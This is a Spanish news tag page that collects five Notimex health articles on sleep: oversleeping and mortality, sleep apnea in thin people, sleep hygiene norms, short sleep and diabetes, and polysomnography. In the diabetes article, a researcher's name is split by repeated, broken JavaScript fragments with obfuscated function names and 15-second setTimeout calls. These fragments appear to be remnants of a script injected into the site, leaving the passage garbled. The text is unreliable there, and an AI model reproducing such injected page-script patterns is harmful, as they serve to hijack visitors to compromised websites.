Etiquetas: Sueño


Advierten riesgo de muerte prematura por dormir demasiado

8 agosto, 2018

Londres. Dormir en exceso puede ser casi tan malo para la salud como hacerlo demasiado poco, reveló un estudio de la Universidad de Keele, en Staffordshire, Reino Unido.

De acuerdo con la investigación, las personas que duermen más de diez horas diarias de forma habitual tienen 56 por ciento más de posibilidades de morir por infarto, y 49 por ciento más de morir por enfermedad cardiovascular.

Ocho horas es el patrón establecido de sueño en un adulto, el tiempo adecuado para que el cuerpo repare las células y los vasos sanguíneos, tal como consideran los expertos en la materia.

Esta investigación solo se refiere a los riesgos que conlleva dormir demasiado de forma habitual. Estudios anteriores han revelado que hacerlo solo ocasionalmente es incluso positivo.

Caso contrario, no dormir lo suficiente aumenta el riesgo de varios problemas de la salud como enfermedades cardíacas, obesidad, diabetes, entre otras, como han demostrado varios estudios a lo largo del tiempo.

Hay que tener en cuenta que, según un estudio realizado por el Karolinska Institute de Estocolmo, el riesgo de muerte prematura por dormir menos de seis horas diarias ronda el 65 por ciento.

Sin embargo, una nueva investigación -realizada a través de 74 estudios a tres millones de personas-descubre que dormir en exceso es peor, pues las personas que alargan el sueño más de diez horas tienen 30 por ciento más de posibilidades de morir antes que las que duermen solo siete horas, según el estudio publicado en el Journal of the American Heart Association.

La investigación concluyó que las personas que dormían durante diez horas tenían 56 por ciento más de posibilidades de sufrir un accidente cerebrovascular y 49 por ciento más de morir por enfermedad cardiovascular.

El investigador principal, el doctor Chun Shing Kwok, del Instituto de Ciencia y Tecnología en Medicina de la Universidad de Keele, asegura: “Nuestro estudio tiene un impacto importante en la salud pública, ya que muestra que el sueño excesivo es un marcador de riesgo cardiovascular elevado”.

Para el científico, los médicos deben interesarse por el sueño de los pacientes cuando estos acudan a la consulta, sobre todo si presentan conductas de sueño en exceso.

“Los médicos deberían considerar detectar factores de riesgo cardiovascular adversos y apnea obstructiva del sueño, que es un trastorno grave del sueño que se produce cuando la respiración de una persona se interrumpe durante el sueño”, asegura.

No está claro por qué dormir demasiado es malo para la salud. Algunos estudios sugieren que cambia la producción de sustancias químicas cerebrales como la serotonina o la dopamina, que pueden provocar depresión.

Además, estar tumbado en la misma posición durante demasiado tiempo también puede debilitar los músculos y provocar dolores en la espalda y en las articulaciones.

Fuente: Notimex


Apnea del sueño también afecta a personas delgadas

16 abril, 2018

Guadalajara. El neumólogo y fundador de la Clínica del Sueño, Rubén Santoyo Ayala, manifestó que es un mito que la apnea del sueño afecte únicamente a personas con obesidad y sobrepeso mientras se duerme.

El también subdirector Médico del Hospital de Especialidades en turno nocturno del Hospital de Especialidades del IMSS Jalisco agregó que esta enfermedad está caracterizada por un cese de la respiración mayor a 10 segundos.

Añadió que 30 por ciento de pacientes adultos afectados con apnea del sueño son delgados, no obstante, “el exceso de peso puede ser un factor muy importante para su desarrollo debido a la obstrucción respiratoria que la grasa abdominal puede ocasionar”.

Mencionó que el cese de la respiración y la posibilidad de sufrir un infarto cardiorrespiratorio es sólo una de las complicaciones que la apnea puede ocasionar.

Dijo que los pacientes presentan cefalea de predominio matutino, “se les olvidan las cosas, hay cambios de humor, de cualquier cosa se alteran, donde se sientan se duermen muy fácil, presentan nicturia (orinan varias veces por la noche de tres a cinco veces), disminución de la libido, amanecen con la garganta reseca y lo más grave es que dejan de respirar al dormir”.

Sobre la incidencia del padecimiento comentó que afecta a aproximadamente 6% de la población en México, tanto adultos como niños, y hasta 20% de quienes la padecen desconocen su condición.

Indicó que en cuestión de género es más frecuente en el hombre con una incidencia de hasta tres casos por cada mujer, “en los niños los factores más importantes para su desarrollo son el sobrepeso u obesidad y la hipertrofia de las amígdalas”.

En cuanto a la sintomatología dijo que existen datos que pueden alertar sobre la apnea del sueño, como la somnolencia y los ronquidos, además del típico cese de la respiración de la cual suelen percatarse quienes conviven o pernoctan junto al afectado o afectada.

“Los ronquidos se producen cuando el aire pasa por los tejidos relajados de la garganta y hace que estos vibren mientras respira, los ronquidos están asociados a la apnea del sueño, aunque no todo el que ronca tiene apnea, pero si tiene esta sintomatología debe acudir a su neumólogo de preferencia”.

Destacó que la apnea puede tener efectos muy negativos también en personas con enfermedades crónicas, “los pacientes diabéticos pueden presentar descontroles en sus glucosas, en los pacientes con hipertensión se descontrolan las cifras tensionales, y algunos pacientes pueden presentar hipotiroidismo hasta en 5%, secundario a la apnea”.

Respecto al diagnóstico, subrayó que es importante realizar una poligrafía respiratoria y/ o polisomnografía, así como estudios laboratoriales y es deseable que se le practique al paciente una radiografía de tórax.

“A fin de generar una mayor prevención de la problemática recomiendo no consumir alcohol ni tabaco, no utilizar medicamentos tranquilizantes sin prescripción médica, mantener un índice de masa corporal ideal, hacer ejercicio y alimentarse sanamente”, finalizó.

Fuente: Notimex


¿Quiere dormir plácidamente? Recuerde estas normas básicas

13 julio, 2017

México. Un horario regular para acostarse y levantarse, evitar el consumo de alcohol y cigarros cuatro horas ante de dormir, son algunas de las normas de higiene del sueño para adultos que emite la Asociación Mundial de Medicina del Sueño (WASM, por sus siglas en inglés).

Si se tiene el hábito de hacer siestas, éstas no deben pasar los 45 minutos; se sugiere no tomar bebidas que contengan cafeína, como café, té, refresco de cola o  chocolates seis horas antes de irse a dormir.

Es recomendable no consumir comidas picantes, pesadas o con mucha azúcar, cuatro horas antes de ir a la cama; por el contrario se aconseja consumir alimentos ligeros.

En su decálogo, la asociación destaca que es indispensable tener una habitación ventilada con una temperatura adecuada para realizar esta práctica.

También dormir en una cama confortable, dentro de un cuarto sin ruido y luz, hará más placentero el momento de descanso. En otro punto se invita a los adultos a no hacer ejercicio regular, justo antes de acostarse.

Además es importante que las personas no utilicen la habitación para trabajar o como sala de recreo, debe usarse únicamente para dormir y realizar actividades sexuales.

Fuente: Notimex


Dormir menos de cinco horas desarrollaría diabetes tipo 2

18 junio, 2017

México. Las personas que duermen menos de cinco horas por noche durante un año, tienen tres veces más posibilidades de desarrollar diabetes mellitus tipo 2, aseguró el psiquiatra e investigador Alejandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ro Jiménez Genchi.

“Lo que se ha encontrado en las investigaciones es que las personas que duermen un número menor de horas tiene algo que se llama incremento de la resistencia a la insulina”, indicó.

El coordinador de la Clínica del Sueño del Instituto Nacional de Psiquiatría indicó que las células de las personas con insomnio responden menos a la hormona de la insulina, situación que altera la regulación de la glucosa.

“Colocaría más riesgo en las personas con problemas de desarrollar diabetes o las que ya tienen diabetes de no tener una buena regulación”, comentó.

Asimismo, detalló que existen hormonas que determinan el apetito o la saciedad de las personas y que el dormir menos de cinco o seis horas “conduce a que tengamos más apetito, menos saciedad e incrementemos el consumo de alimentos y probablemente ingresa más glucosa, más azúcar”.

Jiménez Genchi indicó que el trastorno de sueño también provoca tres veces más posibilidades de desarrollar hipertensión y una probabilidad de 45 por ciento de tener un infarto en al miocardio.

“También un riesgo hasta el doble a desarrollar trastornos psiquiátricos como la depresión, trastornos de ansiedad y también enfermedades relacionadas con el síndrome metabólico como la obesidad”, detalló el especialista.

Expuso que los tres principales síntomas del insomnio son problemas para comenzar a dormir, dificultad para mantenerse dormido y despertar constantemente más de tres veces a la semana durante tres meses, situación que afecta a 40 por ciento de la población mexicana.

“Por eso es tan importante asegurar más de seis horas de sueño, desde luego es un reto para un paciente con insomnio”, finalizó.

Fuente: Notimex


Estudio profesional permite atender causas de la alteración del sueño

20 mayo, 2017

México. Las personas que roncan fuerte, presentan movimientos anormales mientras duermen, tienen insomnio, sonambulismo o cualquier otro trastorno del sueño, deben realizarse un estudio profesional, para conocer y atender las causas de esas alteraciones, indicó el director del Instituto Mexicano de Medicina Integral del Sueño (IMMIS), Reyes Haro Valencia.

Dijo que un estudio polisomnográfico o del sueño, permite identificar y corregir con toda ética y profesionalismo los trastornos que pueden presentarse en este campo, en cualquier momento de la vida de una persona.

Con el estudio se analiza este período de descanso de las personas, mediante el registro de signos vitales y fisiológicos como la actividad cerebral, los movimientos de los ojos, la saturación de oxígeno en sangre, el ronquido, la respiración, la frecuencia cardíaca, la relajación muscular y los movimientos, detalló.

Además, dijo, se registran segundo a segundo durante ocho horas estas actividades, y la técnica de estudio incluye la observación y grabación de los movimientos y posturas que cada paciente adopta para dormir.

En entrevista, Reyes Haro dijo que quienes soliciten el estudio, tienen que pasar una noche en la clínica, para que se coloquen una serie de sensores en su cuerpo, mismos que son muy ligeros, superficiales y no causan molestia alguna.

“El estudio del sueño o estudio polisomnográfico permite conocer la causa de todos los trastornos de sueño y con precisión el tiempo que una persona tarda en dormir, cuánto presenta cada una de las cuatro etapas de sueño conocidas, el número de veces que despierta, y todos los cambios fisiológicos que ocurren mientras alguien duerme”, precisó.

Señaló que los principales trastornos atendidos en el Instituto Mexicano de Medicina Integral del Sueño son: insomnio en adultos y menores, ronquido, síndromes de apnea (dejar de respirar temporalmente) obstructiva de sueño, de resistencia de vías aéreas superiores, de apnea neonatal e infantil.

Somnolencia excesiva diurna, narcolepsia, epilepsia nocturna, insomnio secundario al uso crónico de medicamentos hipnóticos, e insomnio secundario al síndrome de movimientos periódicos de las extremidades, sonambulismo, terrores nocturnos y enuresis (orinarse dormidos).

Fuente: Notimex